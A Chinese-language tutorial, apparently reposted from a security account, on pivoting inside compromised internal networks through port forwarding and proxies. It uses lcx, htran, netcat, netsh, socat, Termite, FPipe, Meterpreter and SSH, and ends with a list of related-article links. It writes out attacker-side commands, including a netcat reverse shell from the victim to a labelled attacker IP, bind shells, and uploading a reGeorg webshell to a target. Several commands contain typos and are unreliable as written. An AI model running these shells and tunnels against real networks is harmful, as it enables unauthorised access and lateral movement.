文章转自乌云安全公众号,对我帮助比较大,欢迎老铁们关注
端口转发

端口转发,有时被叫做隧道,是安全壳为网络安全通信使用的一种方法。端口转发是转发一个网络端口从一个网络端口转发到另一个网络端口或从一个网络节点转发到另一个网络节点的行为,其使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址(局域网内网)上的一个端口。

简要说明:端口转发就是将一个端口,这个端口可以本地的端口也可以是访问到任意主机的端口,转发到任意一台可以访问的IP上,通常这个IP是公网IP。

端口映射

将内网的端口映射到公网的某个端口,就是将这个端口的流量转发到公网主机上的某个端口。当别人访问这个被转发到公网上的端口,那么公网主机的被转发端口流量将发回给内网主机。

两种不同的应用场景

端口映射:外网主机A想访问内网主机B上的服务
端口转发:外网主机A已经可以访问内网主机B里的任意端口,但是无法访问内网主机C上的端口,此时可以将C主机的端口转发到主机B端口,那么外网主机A访问了内网主机B就等于访问了内网主机C。

区分正向与反向连接

  • 正向连接:你的机器连接到目标机器
  • 反向连接:目标机器反连你的机器
  • 不论映射还是转发,都有正有反,原理相同

端口转发和代理工具

  • lcx
  • htran
  • netcat
  • …………….

内网常遇见到的状况

  • A攻击者
  • B内网主机
  • C内网主机
  • B能访问外网允许所有端口访问(罕见)
  • B只允许指定端口被访问,其他端口不允许访问
  • B能被A访问,但是C不能被直接访问
1.目标处于网络边界,内外网都可以访问,网络边界主机未安装防火墙,所有端口都对互联网开放,此类业务场景已经极少出现;
2.目标处于内网,可以访问外网,但是出口部署的有防火墙策略限制外部网络直接访问内网的敏感端口(3389、22、445等);
3.目标处于内网,不能访问外网,但是可以访问边界主机,防火墙策略限制外部网络直接访问内网的敏感端口(3389、22、445等)。

常见操作
环境:受害机内访问外网,允许所有端口被直接访问,攻击机处于外网

正向反向:反向

PS:这里的192.168.1.104为攻击机IP

攻击机执行:

nc -lvp 4444

受害机执行:

nc -e cmd 192.168.1.104 4444

环境:受害机内访问外网,允许所有端口被直接访问,攻击机处于内网

正向反向:正向

PS:这里的192.168.1.104属于受害机IP

受害机执行:

nc -lvp 4444 -e cmd

攻击机执行

nc 192.168.1.104 4444


环境:攻击机无法访问内网主机,但内网主机可以访问外网

IP:192.168.241.155 为内网主机

IP:192.168.1.104 为外网主机

内网主机执行:

1、lcx -slave [远程IP][转发到的远程端口] [本机IP] [本机要转发的端口]
2、lcx -salve 192.168.1.104 4444 192.168.241.155 3389

外网主机执行

lcx -listen [监听的端口] [从接收到的数据的端口转发到另外一个端口]
lcx -listen 4444 5555

环境:攻击机可以直接访问到内网主机B,但是无法访问内网主机C

IP:192.168.241.155 为内网主机C

IP:192.168.241.129 为内网主机B

IP:192.168.1.104 为攻击机

在内网主机B执行

lcx -tran 4444 192.168.241.155 3389

在内网主机b连接本地的4444端口或公网访问192.168.241.129:4444


环境:攻击者可以直接访问内网机器B,当防火墙禁止3389连接。内网机器B也可以访问外网
IP:192.168.69.41 攻击机

IP:192.168.69.43 内网机器B

在内网机器B执行

Htran.exe -tran 4444 127.0.0.1 3389

将B的3389转为本地的4444端口
方法2:
攻击机执行

htran -p -listen 8888 9999
htran -p -listen [监听本机的8888端口] [将流量转发到本地的9999]

内网主机执行

htran -p -slave 192.168.69.43 8888 127.0.0.1 3389
htran -p -slave [攻击机IP] [攻击机所监听的端口] [本机IP] [本机要转发的端口]

在攻击机执行:
代理

代理(Proxy),也称网络代理,是一种特殊的网络服务,允许一个网端(一般为客户端)通过这个服务与另一个网络段(一般为服务器)进行非直接的连接。一些网关、路由器等网络设备具备网络代理功能。一般认为代理服务有利于保障网络终端的隐私或安全,防止攻击。

代理的分类

  • HTTP代理
  • SOCKS代理
  • FTP代理
  • Telnet代理
  • SSL代理

区分正向代理和反向代理
正向代理中,proxy和client同属一个LAN,对Server透明

反向代理中,proxy和server同属一个LAN,对Client透明

一个代理的是客户端一个代理的是服务端
reGeorg+Proxychains代理
reGeorg下载地址:https://github.com/sensepost/reGeorg

根据对应的脚本类型将对应的脚本上传到目标机,注意php的要上nosocket.php的。然后访问该php出现Georg says,All seems fine代理成功

使用的py2需要安装urllib3模块

在攻击机执行

python2 reGorgSocksProxy.py -u http://127.0.0.1:81/gg.php -p 8888

使用Proxifier代理指定的程序,比如我要通过代理来连接目标的3389.那么就设置代理mstsc
Proxifier下载地址:http://soft.onlinedown.net/soft/971579.htm

PHP必失败
EW和PS1那个就不测了,EW太老了,没的下载,ps1 powershell杀烂

端口转发和代理常用的工具
netsh端口转发
环境:内网主机没部署防火墙,可连接外网,任意端口可连

IP:192.168.1.104 攻击机

IP:192.168.241.155 受害机

在受害机执行

netsh add v4tov4 listenport=5555 connectaddress=192.168.241.155 connectport=3389

然后在外网连接IP:5555
netsh查看配置

netsh interface portproxy dump

删除命令

netsh interface portproxy delete v4tov4 listenport=555

socat的使用

socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版。socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,socket等。
工具地址:http://www.dest-unreach.org/socat

安装socat

apt install socat

IP:192.168.241.152 kali

IP:192.168.241.155 windows server 2008

在kali执行

PS:监听5555端口的流量然后转发给192.168.241.155:3389端口

socat TCP4-LISTEM:5555,reuseaddr,fork TCP4:192.168.241.155:3389


访问192.168.241.152:5555就可以访问到RDP
Termite

工具在多种操作系统下均有Agent实现,由于代码为标准C实现,所以未来还将有更多的平台被支持。Agent节点可相互连接,进而形成一条树状管理拓扑,依赖该拓扑结构,使用者可实时管理拓扑中的任意主机节点。管理员可通过Admin程序,对拓扑中的任意节点进行管控,包括但不限于文件传输/控制台命令执行/开启远程 SOCKS5 代理服务/远程端口转发等功能。

IP:192.168.241.152 kali

IP:192.168.241.155 windows server 2008(跳板机)

IP:192.168.1.104 attack-windows7

在kali执行
在2008执行

C:\Users\Administrator\Desktop\Termite>agent_Win32.exe -c 192.168.241.152 -p 5555

在windows7执行

H:\端口转发_自己\Termite>admin_Win32.exe -c 192.168.241.152 -p 5555

然后记下kali,2008的ID
2008的ID
然后在attack设置节点2来做为跳板,将192.168.1.1的80端口映射到本机的4444端口

show #查看节点
goto 2 #设置节点
lcxtran 4444 192.198.1.1 80 #映射到本机


访问127.0.0.1:4444
wireshark抓到的包
反正我觉得复杂的一批…

FPipe的使用
环境:外网主机能访问内网主机B但不能访问内网主机C

FPipe.exe -l 4444 -r 80 192.168.251.254
Fpipe.exe -l [转发到本地的端口] -r [被转发的端口] [被转发的IP]


访问测试

meterpreter中的portfwd
在收到meterpreter中执行portfwd

portfwd add -l 3388 -r 192.168.241.155 -p 3389
portfwd add -l [转发到本地的端口] -r [目标的IP] -p [目标的端口]

连接本地的3388

ssh正向TCP端口加密转发

又称ssh本地端口转发。SSH 会自动加密和解密所有SSH 客户端与服务端之间的网络数据。但是,SSH 还能够将其他TCP 端口的网络数据通过SSH 链接来转发,并且自动提供了相应的加密及解密服务。这一过程也被叫做“隧道”(tunneling),这是因为SSH 为其他TCP 链接提供了一个安全的通道来进行传输而得名。例如,Telnet,SMTP,LDAP 这些TCP 应用均能够从中得益,避免了用户名,密码以及隐私信息的明文传输。而与此同时,如果工作环境中的防火墙限制了一些网络端口的使用,但是允许SSH 的连接,也能够通过将TCP 端口转发来使用SSH 进行通讯。

修改/etc/sshd_config

AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes 保持心跳,防止 ssh 断开
PasswordAuthentication yes
PermitRootLogin yes

命令原型

ssh -CfNg -L 8080:127.0.0.1:2222 user@ip //VPS 本地访问VPS:8080就是内网的22端口
-C:该参数将使ssh压缩所有通过Secure Shell客户端发送的数据,包括输入、输出、错误消息及转发数据。它使用gzip算法,压缩级别可通过设置配制文件中的参数Compressicn Level来指定。这对于缓慢的传输线路特别有用的。但对于传输速度已经很快的网络则显得没有必要。同样,你可以利用配制文件针对每台主机配置这个参数。
-f:该参数将ssh连接送入后台执行。这在验证已经完成且TCP/IP转发已经建立的情况下会生效。这对在远程主机上启动X程序显得十分重要。其后用户将被提示要求输入口令(提供的认证代理不运行),然后将连接送往后台。
-g:该参数允许远程主机通过端口转发与主机端口相连,通常情况下仅允许本地主机这样做。
-N:不执行远程指令。
-R:远程转发
-L:本地转发
-D:动态转发,即socks代理
-p:指定远程ssh服务端口
-n:后台运行
-p:安静模式,不要显示任何debug信息

然后执行

service ssh start或service ssh restart
ssh -CfNg -L [本地端口]:[被转发的IP]:[被转发的端口] [ssh用户]@[IP]
ssh -CfNg -L 4444:192.168.241.155:3389 root@192.168.241.152

连接本地的4444端口

干货|内网渗透之端口转发端口映射相关推荐

  1. 内网渗透 | FRP代理工具详解

    FRP工具的使用 FRP官方文档:https://gofrp.org/docs 文章目录 **一.FRP工具的介绍** **1.为什么需要内网穿透** **2.FRP介绍** **3.为什么使用FRP ...

  2. 5、内网渗透之端口转发与代理工具总结

    理论上,任何接入互联网的计算机都是可访问的,但是如果目标主机处于内网,而我们又想和该目标主机进行通信的话,就需要借助一些端口转发工具来达到我们的目的 注:文中提到的所有工具下载地址 https://g ...

  3. 内网渗透-端口转发隧道技术

    文章目录 代理和隧道技术区别 隧道通信原理 常用的隧道技术 判断内网协议连通性 ICMP协议 TCP协议 telnet NC HTTP协议 curl Wget DNS协议 nslookup dig I ...

  4. git远程外网地址变内网怎么破(ssh本地端口转发)

    git远程外网地址变内网怎么破(ssh本地端口转发)? 最近给longtubas上了负载均衡,相对来说我们并发并不高,但希望可用性尽可能高,本来打算用不饱和的机器做个lvs集群的, 但IDC说给个额外 ...

  5. 内网渗透(十二)之内网信息收集-内网端口扫描和发现

    系列文章第一章节之基础知识篇 内网渗透(一)之基础知识-内网渗透介绍和概述 内网渗透(二)之基础知识-工作组介绍 内网渗透(三)之基础知识-域环境的介绍和优点 内网渗透(四)之基础知识-搭建域环境 内 ...

  6. kali扫描内网ip_Metasploit路由转发实现内网渗透

    利用背景 在渗透的过程中常常会遇到这种场景:我们已经通过web渗透拿下一台内网服务器,为了进一步进行内网渗透,我们会利用"沦陷主机"作为跳板进行进一步的内网渗透,扩大战果. 现在假 ...

  7. 内网渗透代理转发详解及工具介绍

    介绍一下个人网站 欢迎各位大佬光顾 http://www.sec0nd.top 文章目录 前言 正向代理和反向代理 正向代理 反向代理 举例辨别两者 内网渗透中代理的作用 工具介绍 msf nps f ...

  8. des加密出的字符串有特殊字符吗_纯干货分享丨内网渗透很难学吗?

    最近我们针对渗透测试线下就业班的课程进行了深度调研,从问卷结果发现很多学员反馈关于内网渗透的课程不容易掌握. 今天,i 春秋针对内网域渗透知识进行了总结,希望对大家学习渗透测试课程有所帮助. 一.NT ...

  9. ipv6 访问内网_【内网渗透】—— 隐藏通信隧道技术之网络层隧道技术

    hidden:是否完全隐藏控制面板,还有很多设置参数,比如也可以设置显示面板,然后设置宽高WIDTH="整数" 和 HIGH="整数". 1. 隐藏通信隧道基础 ...

  10. web渗透、内网渗透,6个月以来的学习感受

    2022年5月,正式认识了网安这个行业,而此时的我已经34岁了,有自己的本职工作,出于浓厚的兴趣,上班之余开始了我的网安学习之路. 一.我的学习渠道: 1.花钱报班 报的哪个教育机构就不说了,现成的资 ...

最新文章

  1. 【java】第二十二节课(HashSet)
  2. 离散化小记,Acwing802. 区间和
  3. mac os x10.9.2 查看进程对应端口
  4. linux下ffmpeg的使用方法
  5. 【最全资料下载】Kubernetes and Cloud Native Meetup (北京站)
  6. php源码编译常见错误解决方案
  7. 响应优先级与zorder
  8. 深入Managed DirectX9(十五)
  9. Win10 通过注册表修改默认应用
  10. ios github客户端_GitHub推出本地iOS和Android客户端
  11. MIME类型“ image / jpg”是否与“ image / jpeg”相同?
  12. qt -- QTableView
  13. java下载https的网络图片,添加安全证书方式
  14. java实现根据高德地图API接口进行地址位置解析,将地址转化为经纬度
  15. 海马玩模拟器启动失败,start machine failed! error code = 3和error code=21
  16. SpringBoot 报错锦集
  17. 《LeGO-LOAM: Lightweight and Ground-OptimizedLidar Odometry and Mapping on Variable Terrain》论文精读
  18. oracle表如何做统计分析,Oracle表统计信息的分析
  19. (等倾、等厚干涉)MATLAB在迈克尔逊干涉仪中的应用
  20. Android webview加载页面获取摄像头权限实践(Kotlin)

热门文章

  1. 通用码头计算机管理系统,智慧港口码头货物管理解决方案_华测导航-华测导航...
  2. 微信修改运动步数卡密源码 每日自助修改
  3. MicroStation软件与Terrasolid插件合集的安装方法
  4. 非负矩阵分解与K-means聚类
  5. c语言 数组 全部赋值0,关于C语言数组赋值方法
  6. 用在线RaxML构建系统发育树
  7. 车辆检测技术的应用分析
  8. 装配区5s管理制度推行办法
  9. GEE植被覆盖度计算
  10. html编写学生注册表,IT之家网友分享:如何自己编写一个注册表文档